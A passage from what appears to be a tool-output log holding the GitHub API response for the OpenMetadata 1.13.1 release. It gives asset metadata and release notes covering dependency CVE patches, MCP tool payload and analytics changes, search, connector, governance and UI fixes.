t%5D/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/received_events\\\",\\\"type\\\":\\\"Bot\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"content_type\\\":\\\"text/vnd.yaml\\\",\\\"state\\\":\\\"uploaded\\\",\\\"size\\\":27222,\\\"digest\\\":\\\"sha256:7b834d55d093c64078d2c41707366c9f07f44564fd66f7b76037d99c67f42068\\\",\\\"download_count\\\":120,\\\"created_at\\\":\\\"2026-06-27T11:35:53Z\\\",\\\"updated_at\\\":\\\"2026-06-27T11:35:53Z\\\",\\\"browser_download_url\\\":\\\"https://github.com/open-metadata/OpenMetadata/releases/download/1.13.1-release/docker-compose-openmetadata.yml\\\"},{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/assets/459449959\\\",\\\"id\\\":459449959,\\\"node_id\\\":\\\"RA_kwDOF1l8-M4bYqZn\\\",\\\"name\\\":\\\"docker-compose-postgres.yml\\\",\\\"label\\\":\\\"\\\",\\\"uploader\\\":{\\\"login\\\":\\\"collate-release-automations[bot]\\\",\\\"id\\\":168888702,\\\"node_id\\\":\\\"BOT_kgDOChEJfg\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/in/891129?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D\\\",\\\"html_url\\\":\\\"https://github.com/apps/collate-release-automations\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/received_events\\\",\\\"type\\\":\\\"Bot\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"content_type\\\":\\\"text/vnd.yaml\\\",\\\"state\\\":\\\"uploaded\\\",\\\"size\\\":30395,\\\"digest\\\":\\\"sha256:27dee6ff512da84dc933b3e92abe02b413f700c9abed4b365fedf6e434cd4aac\\\",\\\"download_count\\\":337,\\\"created_at\\\":\\\"2026-06-27T11:35:52Z\\\",\\\"updated_at\\\":\\\"2026-06-27T11:35:52Z\\\",\\\"browser_download_url\\\":\\\"https://github.com/open-metadata/OpenMetadata/releases/download/1.13.1-release/docker-compose-postgres.yml\\\"},{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/assets/459449963\\\",\\\"id\\\":459449963,\\\"node_id\\\":\\\"RA_kwDOF1l8-M4bYqZr\\\",\\\"name\\\":\\\"docker-compose.yml\\\",\\\"label\\\":\\\"\\\",\\\"uploader\\\":{\\\"login\\\":\\\"collate-release-automations[bot]\\\",\\\"id\\\":168888702,\\\"node_id\\\":\\\"BOT_kgDOChEJfg\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/in/891129?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D\\\",\\\"html_url\\\":\\\"https://github.com/apps/collate-release-automations\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/received_events\\\",\\\"type\\\":\\\"Bot\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"content_type\\\":\\\"text/vnd.yaml\\\",\\\"state\\\":\\\"uploaded\\\",\\\"size\\\":30324,\\\"digest\\\":\\\"sha256:2f3ead4fa428564f14bfcea1ea7c7fe9815c0102c08b90f7011f6eb3f2c91f1d\\\",\\\"download_count\\\":537,\\\"created_at\\\":\\\"2026-06-27T11:35:52Z\\\",\\\"updated_at\\\":\\\"2026-06-27T11:35:53Z\\\",\\\"browser_download_url\\\":\\\"https://github.com/open-metadata/OpenMetadata/releases/download/1.13.1-release/docker-compose.yml\\\"},{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/assets/459455045\\\",\\\"id\\\":459455045,\\\"node_id\\\":\\\"RA_kwDOF1l8-M4bYrpF\\\",\\\"name\\\":\\\"openmetadata-1.13.1.tar.gz\\\",\\\"label\\\":\\\"\\\",\\\"uploader\\\":{\\\"login\\\":\\\"github-actions[bot]\\\",\\\"id\\\":41898282,\\\"node_id\\\":\\\"MDM6Qm90NDE4OTgyODI=\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/in/15368?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D\\\",\\\"html_url\\\":\\\"https://github.com/apps/github-actions\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/github-actions%5Bbot%5D/received_events\\\",\\\"type\\\":\\\"Bot\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"content_type\\\":\\\"application/tar.gz\\\",\\\"state\\\":\\\"uploaded\\\",\\\"size\\\":342677207,\\\"digest\\\":\\\"sha256:b72fde50766765c21d7a7b6155f75e6208b992b5f1aa57f61fc2f8c2e480e4f1\\\",\\\"download_count\\\":148,\\\"created_at\\\":\\\"2026-06-27T11:47:51Z\\\",\\\"updated_at\\\":\\\"2026-06-27T11:48:00Z\\\",\\\"browser_download_url\\\":\\\"https://github.com/open-metadata/OpenMetadata/releases/download/1.13.1-release/openmetadata-1.13.1.tar.gz\\\"}],\\\"tarball_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/tarball/1.13.1-release\\\",\\\"zipball_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/zipball/1.13.1-release\\\",\\\"body\\\":\\\"### \ud83d\udd12 Security\\\\r\\\\n\\\\r\\\\n- **Netty CVE-2026-44249** [#28880](https://github.com/open-metadata/OpenMetadata/pull/28880): Bumped `netty-bom` to 4.1.135.Final.\\\\r\\\\n- **Jackson-databind CVE-2026-54512/513/514** [#29389](https://github.com/open-metadata/OpenMetadata/pull/29389): Bumped `jackson-databind` from 2.18.7 to 2.18.8.\\\\r\\\\n- **Spring, Micrometer & OpenTelemetry CVE patches** [#29111](https://github.com/open-metadata/OpenMetadata/pull/29111): Spring 6.2.18 \u2192 6.2.19, Micrometer upgraded, and OpenTelemetry pinned to patch reported CVEs.\\\\r\\\\n- **ws CVE-2026-48779** [#29122](https://github.com/open-metadata/OpenMetadata/pull/29122): Bumped `ws` to 8.21.0.\\\\r\\\\n- **handlebars CVE-2026-55760** [#29221](https://github.com/open-metadata/OpenMetadata/pull/29221): Bumped `handlebars` to 4.5.2 to patch a path-traversal vulnerability.\\\\r\\\\n- **sudo CVE-2026-35535** [#29343](https://github.com/open-metadata/OpenMetadata/pull/29343): Upgraded `sudo` in the ingestion Docker image.\\\\r\\\\n- **UI dependency vulnerability fixes** [#29223](https://github.com/open-metadata/OpenMetadata/pull/29223) [#29241](https://github.com/open-metadata/OpenMetadata/pull/29241): Bumped `undici` 6.25.0 \u2192 6.27.0, `form-data`, `dompurify`, `markdown-it`, and `js-yaml`.\\\\r\\\\n- **form-data bumped** [#29349](https://github.com/open-metadata/OpenMetadata/pull/29349): Updated the `form-data` package to address reported vulnerabilities.\\\\r\\\\n\\\\r\\\\n### \ud83e\udd16 MCP (Model Context Protocol)\\\\r\\\\n\\\\r\\\\n- **MCP Registry publishing** [#27982](https://github.com/open-metadata/OpenMetadata/pull/27982): Added `server.json` for publishing openmetadata-mcp to the official MCP Registry, enabling discovery across aggregators like PulseMCP.\\\\r\\\\n- **MCP tool usage analytics** [#28352](https://github.com/open-metadata/OpenMetadata/pull/28352): MCP tool calls now track usage metrics including per-tool latency percentiles, ok/fail counts, and client classification (VS Code, Claude CLI, etc.) with reservoir sampling.\\\\r\\\\n- **Cap search_metadata response size** [#28383](https://github.com/open-metadata/OpenMetadata/pull/28383): Capped `search_metadata` response size to prevent LLM context overflow and guides LLM clients to use smaller page sizes.\\\\r\\\\n- **Map MCP error responses to correct HTTP status codes** [#28622](https://github.com/open-metadata/OpenMetadata/pull/28622): MCP tool error responses now return the correct HTTP status codes instead of generic errors.\\\\r\\\\n- **Slim get_entity_lineage payload** [#28618](https://github.com/open-metadata/OpenMetadata/pull/28618): Optimized `get_entity_lineage` MCP tool payload with a slim transform to reduce response size.\\\\r\\\\n- **Compact create tool responses** [#28633](https://github.com/open-metadata/OpenMetadata/pull/28633): `create_metric`, `create_test_case`, and `create_glossary_term` tools now return compact entity representations.\\\\r\\\\n- **Slim root_cause_analysis payload** [#28632](https://github.com/open-metadata/OpenMetadata/pull/28632): Slimmed the `root_cause_analysis` tool payload to fit within LLM context limits.\\\\r\\\\n- **Return similarityScore in search_metadata** [#28512](https://github.com/open-metadata/OpenMetadata/pull/28512): `search_metadata` results now include `_score` as `similarityScore` for relevance ranking.\\\\r\\\\n- **Fix entityType filtering in search_metadata** [#28698](https://github.com/open-metadata/OpenMetadata/pull/28698): Resolved index routing by `entityType` to prevent cross-type result leaks and hardened parameter validation.\\\\r\\\\n- **Search test cases and test suites via search_metadata** [#28743](https://github.com/open-metadata/OpenMetadata/pull/28743): `search_metadata` now supports searching test cases and test suites.\\\\r\\\\n- **Shared trim util and global response size-budget** [#28764](https://github.com/open-metadata/OpenMetadata/pull/28764): Introduced shared response-trim utilities and a global size-budget net across all MCP tools.\\\\r\\\\n- **Trim wide-table payload in get_entity_details** [#28776](https://github.com/open-metadata/OpenMetadata/pull/28776): `get_entity_details` now trims wide-table payloads (column descriptions, schema/model SQL) to stay within size budgets.\\\\r\\\\n- **MCP OAuth login fix** [#29228](https://github.com/open-metadata/OpenMetadata/pull/29228): Fixed `/mcp/callback` handling of the active-session shortcut and implicit-flow `id_token` returned in the URL fragment by SSO.\\\\r\\\\n- **Fix OAuth state double-encoding** [#28952](https://github.com/open-metadata/OpenMetadata/pull/28952): OAuth state is now echoed without double-encoding in the redirect URI.\\\\r\\\\n\\\\r\\\\n### \ud83d\udd0d Search & Reindexing\\\\r\\\\n\\\\r\\\\n- **Vectorize testSuite/testCase for hybrid search** [#28669](https://github.com/open-metadata/OpenMetadata/pull/28669): Test suites and test cases are now vectorized, enabling hybrid (keyword + semantic) search over data quality entities.\\\\r\\\\n- **Make users and admins searchable by email** [#28800](https://github.com/open-metadata/OpenMetadata/pull/28800): Users and admins are now searchable by their email address.\\\\r\\\\n- **Recreate all indexes on major/minor version upgrade** [#28885](https://github.com/open-metadata/OpenMetadata/pull/28885): All search indexes are now recreated on major or minor version upgrades to pick up mapping changes.\\\\r\\\\n- **Reindex-drift and index health checks** [#28856](https://github.com/open-metadata/OpenMetadata/pull/28856): Added reindex-drift detection and index health checks in `/system/validate`.\\\\r\\\\n- **Fix reindex OOM on wide tables** [#28888](https://github.com/open-metadata/OpenMetadata/pull/28888): Switched to a covering cursor query and added entity name indexes to prevent out-of-sort-memory errors during reindex.\\\\r\\\\n- **Re-add --recreate-indexes flag** [#29087](https://github.com/open-metadata/OpenMetadata/pull/29087): Restored the `--recreate-indexes` flag to the reindex CLI for backward compatibility.\\\\r\\\\n- **Staged-index rescue uses index_total** [#29108](https://github.com/open-metadata/OpenMetadata/pull/29108): Uses `index_total` instead of `docs.count` for staged-index rescue so a failed reindex doesn't delete a populated index.\\\\r\\\\n- **Never apply refresh_interval=-1 as live serving value** [#29153](https://github.com/open-metadata/OpenMetadata/pull/29153): Prevents `refresh_interval=-1` from being applied as a live serving value on index promote.\\\\r\\\\n- **Cap oversized dataModel column tree at index time** [#29212](https://github.com/open-metadata/OpenMetadata/pull/29212): Containers/tables with pathologically large dataModel schemas now have nested column children stripped at index time to prevent OOM.\\\\r\\\\n- **Regenerate embeddings on dimension change** [#29437](https://github.com/open-metadata/OpenMetadata/pull/29437): Embeddings are regenerated when vector dimensions change instead of reusing stale vectors.\\\\r\\\\n- **Backfill name indexes for distributed reindex pagination** [#29361](https://github.com/open-metadata/OpenMetadata/pull/29361): Name indexes are backfilled to support distributed reindex pagination.\\\\r\\\\n- **Bound column-index fan-out** [#29377](https://github.com/open-metadata/OpenMetadata/pull/29377): Bounded table column-index fan-out to prevent reindex OOM on wide tables.\\\\r\\\\n- **Surface exact/prefix matches first in QuickFilter** [#29231](https://github.com/open-metadata/OpenMetadata/pull/29231): QuickFilter aggregations now surface exact and prefix matches first.\\\\r\\\\n- **Extend best-match ordering to sourceFields/topHits** [#29296](https://github.com/open-metadata/OpenMetadata/pull/29296): Extended the best-match ordering logic to sourceFields and topHits requests.\\\\r\\\\n- **My Data defaults to dataAsset index** [#29209](https://github.com/open-metadata/OpenMetadata/pull/29209): Changed the My Data page from the `all` index to `dataAsset` for more relevant results.\\\\r\\\\n- **Stop time-series field propagation** [#29499](https://github.com/open-metadata/OpenMetadata/pull/29499): Stopped time-series field propagation to prevent stale data in downstream indexes.\\\\r\\\\n\\\\r\\\\n### \ud83d\udd0c Connectors & Ingestion\\\\r\\\\n\\\\r\\\\n- **PowerBI datamarts support** [#28896](https://github.com/open-metadata/OpenMetadata/pull/28896): Added support for Power BI datamarts.\\\\r\\\\n- **Fivetran improvements** [#27270](https://github.com/open-metadata/OpenMetadata/pull/27270): Various improvements to the Fivetran connector.\\\\r\\\\n- **Athena: pass catalogId for S3 Tables enumeration** [#28929](https://github.com/open-metadata/OpenMetadata/pull/28929): Passes `catalogId` to `get_tables` for Athena S3 Tables enumeration.\\\\r\\\\n- **Athena: ingest Iceberg table properties** [#27715](https://github.com/open-metadata/OpenMetadata/pull/27715): Ingests Iceberg table properties from the `$properties` metatable.\\\\r\\\\n- **Athena: remove Trino stats** [#29446](https://github.com/open-metadata/OpenMetadata/pull/29446): Removed Trino-specific stats from the Athena table profiler.\\\\r\\\\n- **MySQL: refresh RDS IAM auth token per connection** [#28730](https://github.com/open-metadata/OpenMetadata/pull/28730): IAM auth tokens are now refreshed per connection instead of reusing stale tokens.\\\\r\\\\n- **MySQL: default stored-procedure language to SQL** [#28898](https://github.com/open-metadata/OpenMetadata/pull/28898): Unknown stored-procedure languages now default to SQL instead of `None`.\\\\r\\\\n- **MySQL: parameterize routines query** [#29077](https://github.com/open-metadata/OpenMetadata/pull/29077): Parameterized the MySQL routines query to avoid SQL string interpolation.\\\\r\\\\n- **Metabase: StarRocks SQL dialect for lineage** [#29033](https://github.com/open-metadata/OpenMetadata/pull/29033): StarRocks connections now route to the StarRocks SQL dialect so StarRocks-specific syntax parses correctly for lineage.\\\\r\\\\n- **Metabase: strip optional clause blocks** [#29390](https://github.com/open-metadata/OpenMetadata/pull/29390): Strips `[[...]]` optional clause blocks before lineage parsing.\\\\r\\\\n- **Datalake: parse array type nested structures in JSON** [#27798](https://github.com/open-metadata/OpenMetadata/pull/27798): Fixed parsing of array type nested structure fields inside JSON files.\\\\r\\\\n- **Iceberg/Delta: ingest metadata.json with real table columns** [#28422](https://github.com/open-metadata/OpenMetadata/pull/28422): Iceberg/Delta `metadata.json` files are now ingested with real table columns instead of placeholder schema.\\\\r\\\\n- **Upgrade collate-sqllineage** [#27413](https://github.com/open-metadata/OpenMetadata/pull/27413): Upgraded `collate-sqllineage` to \u22652.1.1 with regression tests.\\\\r\\\\n- **OpenLineage: reset Kinesis poll inactivity timer** [#29276](https://github.com/open-metadata/OpenMetadata/pull/29276): Resets the Kinesis poll inactivity timer per shard to prevent premature stream abandonment.\\\\r\\\\n- **OpenLineage: de-aggregate KPL records** [#29037](https://github.com/open-metadata/OpenMetadata/pull/29037): De-aggregates KPL (Kinesis Producer Library) records in the Kinesis source.\\\\r\\\\n- **SAP HANA: profiler fix** [#27483](https://github.com/open-metadata/OpenMetadata/pull/27483): Fixed `CREATE_TIME` lookup to use `SYS.TABLES` with uppercase catalog matching.\\\\r\\\\n- **Unity Catalog: incremental extraction flag** [#28906](https://github.com/open-metadata/OpenMetadata/pull/28906): Added the missing `supportsIncrementalMetadataExtraction` flag.\\\\r\\\\n- **dbt Cloud: stale FQN and null timestamp** [#29525](https://github.com/open-metadata/OpenMetadata/pull/29525): Fixed dbt Cloud pipeline status using stale FQN and null timestamp.\\\\r\\\\n- **Secret serialization fixes** [#28625](https://github.com/open-metadata/OpenMetadata/pull/28625) [#29198](https://github.com/open-metadata/OpenMetadata/pull/29198) [#29216](https://github.com/open-metadata/OpenMetadata/pull/29216): Preserved `secret:` prefix during Python SDK serialization, handled empty connection passwords with `CustomSecretStr`, and hardened serialization for null secrets.\\\\r\\\\n- **Fix lineage script_exception in ADD_UPDATE_LINEAGE** [open-metadata/openmetadata-collate#4481](https://github.com/open-metadata/openmetadata-collate/pull/4481): Fixed script exceptions during lineage add/update operations.\\\\r\\\\n\\\\r\\\\n### \ud83d\udcd6 Glossary\\\\r\\\\n\\\\r\\\\n- **Cascade glossary rename to child terms in search index** [#29159](https://github.com/open-metadata/OpenMetadata/pull/29159): Renaming a glossary now updates the denormalized `glossary.name` / `glossary.fullyQualifiedName` on every child term's search-index doc.\\\\r\\\\n- **Keep approvals valid after move** [#29214](https://github.com/open-metadata/OpenMetadata/pull/29214): Approvals remain valid after a glossary term is moved.\\\\r\\\\n- **Skip move consolidation** [#29266](https://github.com/open-metadata/OpenMetadata/pull/29266): Fixes glossary term move operations by skipping unnecessary consolidation.\\\\r\\\\n- **Preserve domains through CSV import/export** [#29509](https://github.com/open-metadata/OpenMetadata/pull/29509): Glossary term domains are now preserved during CSV bulk import/export, and a `domains` column is added to the CSV format.\\\\r\\\\n- **Show approve/reject buttons after Expand All** [#29295](https://github.com/open-metadata/OpenMetadata/pull/29295): The Expand-All tree fetch now requests the `reviewers` field so nested In-Review terms retain their approve/reject buttons.\\\\r\\\\n\\\\r\\\\n### \ud83d\udee1\ufe0f Data Governance & Quality\\\\r\\\\n\\\\r\\\\n- **ODPS Support for Data Products** [#29154](https://github.com/open-metadata/OpenMetadata/pull/29154): Added ODPS support for data products with custom intake forms.\\\\r\\\\n- **Data product support in Observability** [#28713](https://github.com/open-metadata/OpenMetadata/pull/28713): Added data product support in the Observability UI and backend.\\\\r\\\\n- **Preserve data products across domain deletes** [#29137](https://github.com/open-metadata/OpenMetadata/pull/29137): When a data product's domain is changed and the original domain is hard-deleted, the stale relationship is now removed so data products are preserved.\\\\r\\\\n- **Delete orphaned test cases + guard test-definition deletion** [#29081](https://github.com/open-metadata/OpenMetadata/pull/29081): Orphaned test cases can now be hard-deleted, and test-definition deletion is guarded against missing relationships.\\\\r\\\\n- **Redeploy workflow BPMN on upgrade** [#29465](https://github.com/open-metadata/OpenMetadata/pull/29465): Workflow BPMN definitions are redeployed on upgrade so moved or renamed approvals resolve correctly.\\\\r\\\\n- **Allow bare function references in SpEL conditions** [#28946](https://github.com/open-metadata/OpenMetadata/pull/28946): Governance policy SpEL conditions now allow bare references to approved functions.\\\\r\\\\n- **Snapshot entityStatus for Data Insights** [#29313](https://github.com/open-metadata/OpenMetadata/pull/29313): Snapshots `entityStatus` so Data Insights charts can filter by lifecycle status.\\\\r\\\\n- **Project tags to DI snapshot** [#29382](https://github.com/open-metadata/OpenMetadata/pull/29382): Projects `classificationTags` and `glossaryTags` to the Data Insights snapshot.\\\\r\\\\n- **Add documentation panel to test definition form** [#29430](https://github.com/open-metadata/OpenMetadata/pull/29430): Added a documentation panel to the test definition creation form.\\\\r\\\\n\\\\r\\\\n### \ud83d\udd14 Alerts & Notifications\\\\r\\\\n\\\\r\\\\n- **Match Entity FQN filter against descendants** [#28833](https://github.com/open-metadata/OpenMetadata/pull/28833): Entity FQN filters now match against both the entity and its descendants.\\\\r\\\\n- **Dedup successful change events** [#28827](https://github.com/open-metadata/OpenMetadata/pull/28827): Deduplicates successful change events to prevent Postgres `ON CONFLICT` abort errors.\\\\r\\\\n- **Observability triggers skip thread events** [#29112](https://github.com/open-metadata/OpenMetadata/pull/29112): Observability status triggers no longer fire on thread events.\\\\r\\\\n- **Owner/user name filters match dotted usernames** [#29523](https://github.com/open-metadata/OpenMetadata/pull/29523): Owner and user name filters now correctly match usernames containing a dot.\\\\r\\\\n\\\\r\\\\n### \ud83d\udd10 Authentication\\\\r\\\\n\\\\r\\\\n- **OIDC/SAML self-signup persists mapped email claim** [#29227](https://github.com/open-metadata/OpenMetadata/pull/29227): Self-signup now persists the mapped email claim from OIDC/SAML.\\\\r\\\\n\\\\r\\\\n### \ud83e\uddec Lineage\\\\r\\\\n\\\\r\\\\n- **Render traced edges and nodes** [#29195](https://github.com/open-metadata/OpenMetadata/pull/29195): Lineage now visually renders traced edges and nodes.\\\\r\\\\n- **Restore edges in lineage PNG export** [#29250](https://github.com/open-metadata/OpenMetadata/pull/29250): Edges are restored after canvas re-render in the lineage PNG export.\\\\r\\\\n- **Fix PNG lineage export download** [#29362](https://github.com/open-metadata/OpenMetadata/pull/29362): Fixed PNG lineage export download and late loading spinner.\\\\r\\\\n- **Correct nodeDepth for fetched nodes** [#27477](https://github.com/open-metadata/OpenMetadata/pull/27477): Updates `nodeDepth` on fetched nodes using the base `nodeDepth`.\\\\r\\\\n- **Drop nodeDepth partitioning for ELK** [#29224](https://github.com/open-metadata/OpenMetadata/pull/29224): Dropped `nodeDepth` partitioning so ELK derives lineage layers from edges.\\\\r\\\\n\\\\r\\\\n### \u2699\ufe0f Platform\\\\r\\\\n\\\\r\\\\n- **Re-arm audit log consumer trigger on startup** [#28821](https://github.com/open-metadata/OpenMetadata/pull/28821): The audit log consumer trigger is now re-armed on startup instead of being skipped when the Quartz job already exists, preventing silent audit event loss after restarts.\\\\r\\\\n- **Validate Flowable pool connections for DB failover** [#28835](https://github.com/open-metadata/OpenMetadata/pull/28835): Enabled MyBatis pool-ping validation (SELECT 1) on the Flowable runtime engine so connections idle past 30 seconds are validated and replaced before reuse, surviving Aurora/RDS failovers and maintenance restarts.\\\\r\\\\n- **Defer row fetch in audit logs list query** [#28851](https://github.com/open-metadata/OpenMetadata/pull/28851): Avoids a full-row scan when listing audit logs.\\\\r\\\\n- **AuditLogConsumer offset gap resilience** [#29252](https://github.com/open-metadata/OpenMetadata/pull/29252): The audit log consumer no longer skips events when `change_event.offset` gaps appear under concurrent writes.\\\\r\\\\n- **Concatenate multi-line SSE data fields** [#28945](https://github.com/open-metadata/OpenMetadata/pull/28945): Multi-line SSE `data:` fields are now concatenated instead of overwritten.\\\\r\\\\n- **Force UTF-8 decoding in SSE** [#29532](https://github.com/open-metadata/OpenMetadata/pull/29532): Forces UTF-8 decoding in SSE streams to prevent JSON truncation on multibyte characters.\\\\r\\\\n- **Persist nested column changes on PATCH** [#28837](https://github.com/open-metadata/OpenMetadata/pull/28837): Nested column changes are now persisted on optimistic-locking PATCH operations.\\\\r\\\\n- **Sync IngestionPipeline schedule on app changes** [#28702](https://github.com/open-metadata/OpenMetadata/pull/28702): When an app's schedule changes, the backing `IngestionPipeline.scheduleInterval` is now synced so K8s/Argo/Hybrid runners pick up the new schedule.\\\\r\\\\n- **Support double-quotes in FQN** [#28697](https://github.com/open-metadata/OpenMetadata/pull/28697): Fully qualified names now support double-quoted segments, with guard and repair logic for corrupt FQNs.\\\\r\\\\n- **Surface external secret read failures** [#28767](https://github.com/open-metadata/OpenMetadata/pull/28767): External secret read failures are now surfaced instead of being misrouted to create.\\\\r\\\\n- **Fix SocketAddressFilter NPE** [#29263](https://github.com/open-metadata/OpenMetadata/pull/29263): Fixed NPE on WebSocket handshake without a query string.\\\\r\\\\n- **Fix RDF Fuseki bulk write timeouts** [#28564](https://github.com/open-metadata/OpenMetadata/pull/28564): Fixed bulk write timeouts in the RDF Fuseki integration.\\\\r\\\\n- **RDF: index additional entity types** [#29327](https://github.com/open-metadata/OpenMetadata/pull/29327): Dashboard, DashboardDataModel, Table, and StoredProcedure are now properly indexed in the knowledge graph.\\\\r\\\\n- **RDF glossary term filtering** [#29368](https://github.com/open-metadata/OpenMetadata/pull/29368): Added support for RDF glossary term filtering.\\\\r\\\\n- **Slow Data Retention cleanup fix** [#29363](https://github.com/open-metadata/OpenMetadata/pull/29363): Fixed slow, memory-bound Data Retention entity relationship cleanup.\\\\r\\\\n- **Backfill pipeline service edges** [#29529](https://github.com/open-metadata/OpenMetadata/pull/29529): Migration backfills pipeline service edges in 1.13.1.\\\\r\\\\n- **Disabled new sidebar items by default for existing personas** [#29032](https://github.com/open-metadata/OpenMetadata/pull/29032): New sidebar items are disabled by default for existing personas to avoid unexpected navigation changes.\\\\r\\\\n- **Remove content/column name split for classification** [#29203](https://github.com/open-metadata/OpenMetadata/pull/29203): Removed the content/column name split for classification processing.\\\\r\\\\n\\\\r\\\\n### \ud83c\udf9b\ufe0f UI\\\\r\\\\n\\\\r\\\\n- **Prevent ontology graph crash on large glossaries** [#29270](https://github.com/open-metadata/OpenMetadata/pull/29270): Prevented the ontology relations graph from crashing on large glossaries.\\\\r\\\\n- **Block-editor link modal in drawers** [#29374](https://github.com/open-metadata/OpenMetadata/pull/29374): Kept the link modal usable inside focus-trapping drawers.\\\\r\\\\n- **Preserve Persona navigation ordering** [#29353](https://github.com/open-metadata/OpenMetadata/pull/29353): Saved Persona navigation ordering is now preserved on reload.\\\\r\\\\n- **Scope \\\\\\\"between\\\\\\\" operator to numeric custom properties** [#29335](https://github.com/open-metadata/OpenMetadata/pull/29335): The `between` operator now correctly sends the upper bound for numeric custom properties only.\\\\r\\\\n- **Tag column filter on nested tables** [#29075](https://github.com/open-metadata/OpenMetadata/pull/29075): Tag column filter on nested schema/column tables now shows only matching fields.\\\\r\\\\n- **Hide disabled Tiers from dropdown** [#29466](https://github.com/open-metadata/OpenMetadata/pull/29466): Disabled Tiers are now hidden from the Tier selection dropdown.\\\\r\\\\n- **Data product filter in Data Quality** [#29456](https://github.com/open-metadata/OpenMetadata/pull/29456): Included data product filter in Data Quality parameters.\\\\r\\\\n- **Data Quality pagination** [#29512](https://github.com/open-metadata/OpenMetadata/pull/29512): Forwarded `showPagination` to the DataQualityTab component.\\\\r\\\\n- **FQN double-quote support in UI** [#28697](https://github.com/open-metadata/OpenMetadata/pull/28697): Added double-quoted name support in the UI FQN utility.\\\\r\\\\n- **Untitled-UI dropdowns for Add Assets drawer** [#29168](https://github.com/open-metadata/OpenMetadata/pull/29168): Replaced quick-filters in the Add Assets drawer with Untitled-UI dropdowns.\\\",\\\"reactions\\\":{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/345681790/reactions\\\",\\\"total_count\\\":4,\\\"+1\\\":0,\\\"-1\\\":0,\\\"laugh\\\":0,\\\"hooray\\\":0,\\\"confused\\\":0,\\\"heart\\\":4,\\\"rocket\\\":0,\\\"eyes\\\":0}}\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:59.875Z] [INFO] 